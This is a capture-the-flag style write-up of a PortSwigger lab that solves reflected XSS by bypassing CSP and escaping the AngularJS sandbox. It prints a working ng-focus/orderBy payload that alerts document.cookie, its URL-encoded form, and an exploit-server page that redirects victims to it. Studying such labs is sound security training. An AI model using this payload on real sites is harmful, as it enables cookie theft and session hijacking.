Reflected XSS with AngularJS sandbox escape and CSP | Jan 1, 2023
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you'll learn: Reflected XSS with AngularJS sandbox escape and CSP! Without further ado, let's dive in.
- Overall difficulty for me (From 1-10 stars): ★★★★★★★☆☆☆
Background
This lab uses CSP and AngularJS.
To solve the lab, perform a cross-site scripting attack that bypasses CSP, escapes the AngularJS sandbox, and alerts document.cookie.
Exploitation
Home page:

In here, we can see there is a search box.
Let's search something:


As you can see, our input is reflected to the web page.
Burp Suite HTTP history:

In here, we also can see the CSP (Content Security Policy) is enabled.
Content-Security-Policy: default-src 'self'; script-src 'self'
In this case, it'll only allow scripts to be loaded from the same origin as the page itself.
Now, let's try to inject some HTML tags:
<input autofocus>


Yep we can.
Next, we need to bypass the AngularJS sandbox and CSP:
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x
- First, we use
ng-focusevent in AngularJS to create a focus event that bypasses CSP. - Then, use
$event, which is an AngularJS variable that references the event object. - After that, the
pathproperty is specific to Chrome and contains an array of elements that triggered the event. The last element in the array contains thewindowobject. - Finally, use the
orderByfilter, and the:is the argument that is being sent to the filter. In the argument, instead of calling thealertfunction directly, we assign it to the variablez. The function will only be called when theorderByoperation reaches thewindowobject in the$event.patharray. This means it can be called in the scope of the window without an explicit reference to thewindowobject, effectively bypassing AngularJS'swindowcheck.
Now, we can go the exploit server, host our payload and deliver to victim:
<html>
<head>
<title>XSS-28</title>
</head>
<body>
<script>
window.location.replace("https://0a6b004b04d03a63c09d548600500044.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x");
</script>
</body>
</html>


Nice!
What we've learned:
- Reflected XSS with AngularJS sandbox escape and CSP